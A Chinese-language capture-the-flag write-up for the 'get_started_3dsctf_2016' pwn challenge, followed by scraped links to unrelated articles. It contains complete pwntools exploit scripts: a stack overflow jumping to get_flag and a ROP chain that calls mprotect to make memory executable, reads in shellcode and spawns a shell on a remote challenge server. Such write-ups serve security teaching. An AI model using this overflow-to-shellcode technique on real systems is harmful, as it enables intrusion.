get_started_3dsctf_2016-Pwn

这个题确实有点坑,在本地能打,在远程就不能打了,于是我就换了另一种方法来做.
确这个题是没有动态链接库,且PIE是关的,所以程序的大部分地址已经定死了,帮了大忙了.

第一个本地能打通的思路(远程打不了)

修改eip跳转到get_flag函即可,可是直接进行跳转到该函数,会存在一个过滤,把该地址给过滤掉了,其实往后退几个指令就行
后面我查了一下国外的资料,他是的方法跟我一样,就是在buuctf里远程打不了. 外国大牛博客:http://www.infohelp.org
废话我就不多说了,下面是本地能打的exp,(前提是你自己创建了一个flag.txt文件)
from pwn import *
context.log_level = 'debug'
elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
printf_addr = 0x0804F0E0
main = 0x08048A20
get_flag = 0x080489B8
payload_01 = 'A' * 56 + p32(get_flag)
sh.sendline(payload_01)
sh.interactive()

第二个思路:(该方法能打远程)

修改使用mprotec函数修改内存的权限为可读可写可执行,然后在该内存中写入自己的shellcode,执行该代码即可.
首先按先说一下mprotect函数:原型如下
int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len 修改内存的长度
prot 内存的权限
要想达到内存可执行的目的,我们看一下哪个内存最好修改,使用edb-debuger查看,或
$ ./ get_started_3dsctf_2016 &
$ cat /proc/[you_pid]/maps 查看内存区域
可以查看到,内存可读可写的地址为: 0x80EB000 ,所以我们对该内存进行增加一个权限

如何进行内存的权限修改,思路:

1.栈溢出ret 到 mprotect函数地址,我来解释一下 call 指令, call = push + jmp
所以直接ret后要留一个返回地址,因为ret 就相当于 jmp 到 mprotect,为了完整的回来,所以在
mprotect地址后在压入一个返回地址.
2.在32为系统中传参是使用栈传参,择第一个参数先push,第二个再push....
所以基本的payload可以构思如下:
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(ret_addr) + p32(argu1) + p32(argu2) +p32 (argu3) 这里的mprotect_addr就是我们要跳转到mprotect函数的地址
ret_addr 为 mprotect函数执行完后的地址.
argu1 为mprotect函数的第一个参数 (被修改内存的地址) 设置为 0x0x80EB000 (edb-debuger查看得到)
argu2 为mprotect函数的第二个参数 (被修改内存的大小) 设置为 0x1000 (0x1000通过程序启动时查看该内存块的大小的到的)
argu3 为mprotect函数的第三个参数 (被修改内存的权限) 设置为 7 = 4 + 2 +1 (rwx) 为了后续再能使用栈ret,我们的构造一下栈的布局,因为mprotect函数使用到了3个参数,我们就找存在3个连续pop的指令
为啥要找3个pop,也就是在正常情况下,函数传参是使用push,所以要为了堆栈还原,函数调用结束时就使用pop来保证堆栈
完好. 使用 ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
存在pop的一些指令地址,可以发现:
0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
那我们就得到了该地址.
上面的ret_addr就填写0x0804f460
而现在的payload就可以为:
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(ret_addr2) ret_addr2 即为执行完mprotect函数即弹出栈后的返回地址.我们也就可以再次利用栈的ret来控制eip,
即为下一个函数read的地址.

如何向内存写入shellcode

好下面我们就要构思如何将自己的shellcode写入内存再执行,使用read函数写入.
read函数原型:
ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000
size 适当大小就可以 设为0x100就可以了 现在的payload也就可以构造如下
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)
read函数也跟mprotect一样的例子,就是 call = push + jmp.
read_addr 后面的一个ret_addr2就是执行完read函数后的返回地址.再次使用pop3_ret弹掉3个已用的参数,接着还可
以利用栈ret来控制eip跳转到mem_addr执行自己的shellcode, payload如下. payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)
payload += p32(mem_addr) 然而在执行read函数时就可以输入shellcode,即payload2为:
payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux')

最终exp如下:

# _*_ coding:utf-8 _*_
from pwn import * elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
sh = remote('node3.buuoj.cn', 28576) pop3_ret = 0x804951D
'''
pop esi
pop edi
pop ebp
'''
mem_addr = 0x80EB000 #可读可写的内存,但不可执行
mem_size = 0x1000 #通过调试出来的值
mem_proc = 0x7 #可代表可读可写可执行 mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read'] '''
为了连续在堆栈中执行,就是用pop3_ret来控制esp,使它往下弹掉已用的3个值. '''
payload_01 = 'A' * 0x38
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret) #执行完mprotect的返回地址,使esp往下+12 #mprotect 的三个参数
payload_01 += p32(mem_addr) #mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size) #mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc) #mprotect函数参数3 修改的权限 payload_01 += p32(read_addr) #执行完pop3_ret后弹到read地址 payload_01 += p32(pop3_ret) #执行完read后将返回到pop3_ret指令,又继续使esp+12 #read 的三个参数
payload_01 += p32(0) #read函数参数1 ,从输入端读取
payload_01 += p32(mem_addr) #读取到的内容复制到指向的内存里
payload_01 += p32(0x100) #读取大小 payload_01 += p32(mem_addr) #执行完read后ret esi sh.sendline(payload_01)
payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux') sh.sendline(payload_sh) sh.interactive()

get_started_3dsctf_2016-Pwn的更多相关文章

  1. get_started_3dsctf_2016

    题外:这道题不是很难,但是却难住了我很久.主要是在IDA中查看反编译出的伪代码时双击了一下gets()函数,结果进入gets函数内部,我当时就懵了,误以为这是一个自定义函数,但是自定义函数应该应该不能 ...

  2. [BUUCTF]PWN11——get_started_3dsctf_2016

    [BUUCTF]PWN11--get_started_3dsctf_2016 题目网址:https://buuoj.cn/challenges#get_started_3dsctf_2016 步骤: ...

  3. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  4. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  5. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  6. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  7. pwn学习(1)

    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...

  8. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  9. pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...

  10. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

随机推荐

  1. 使用 mask 实现视频弹幕人物遮罩过滤

    经常看一些 LOL 比赛直播的小伙伴,肯定都知道,在一些弹幕网站(Bilibili.虎牙)中,当人物与弹幕出现在一起的时候,弹幕会"巧妙"的躲到人物的下面,看着非常的智能. 简单的 ...

  2. C++算法代码——求数列[coci2014/2015 contest #1]

    题目来自:http://218.5.5.242:9018/JudgeOnline/problem.php?id=1815 题目描述 Mirko在数学课上以一种有趣的方式操作数列,首先,他写下一个数列A ...

  3. spring boot +dubbo 踩坑记录

    今天初次搭建spring boot +duboo的demo.记录一下踩坑记录. 首先搭建3个小demo,一个maven项目,两个spring boot (服务提供者和服务消费者)项目. 两 sprin ...

  4. Loki日志系统

    一.概述 背景 Loki的第一个稳定版本于2019年11月19日发布,是 Grafana Labs 团队最新的开源项目,是一个水平可扩展,高可用性,多租户的日志聚合系统. Grafana 对 Loki ...

  5. MySQL:单表查询

    在线数据库:http://sqlfiddle.com/ 建表脚本:https://gitee.com/bqzzz/sql/tree/master/Scripts 基本查询 ①.查询所有记录 SELEC ...

  6. PCA——主成分分析

    PCA(Principal Components Analysis)主成分分析是一个简单的机器学习算法,利用正交变换把由线性相关变量表示的观测数据转换为由少量线性无关比变量表示的数据,实现降维的同时尽 ...

  7. 05.从0实现一个JVM语言之目标平台代码生成-CodeGenerator

    从0实现JVM语言之目标平台代码生成-CodeGenerator 源码github仓库, 如果这个系列文章对你有帮助, 希望获得你的一个star 本节相关代码生成package地址 阶段性的告别 非常 ...

  8. JAVA中枚举Enum详解

    1.关键字:enum.枚举可以定义成单独的文件,也可以定义在其他类内部. 枚举在类内部的示例: public class EnumInner { public static void main(Str ...

  9. CVE-2020-1938 -Tomcat-AJP任意文件读取/包含

    为什么这个漏洞被称作 Ghostcat(幽灵猫)? 这个漏洞影响全版本默认配置下的 Tomcat(在我们发现此漏洞的时候,确认其影响 Tomcat 9/8/7/6 全版本,而年代过于久远的更早的版本未 ...

  10. Centos mini系统下的Hadoop集群搭建

    1.事前了解 1.1 Hadoop 百度百科:https://baike.baidu.com/item/Hadoop/3526507?fr=aladdin Hadoop是一个由Apache基金会所开发 ...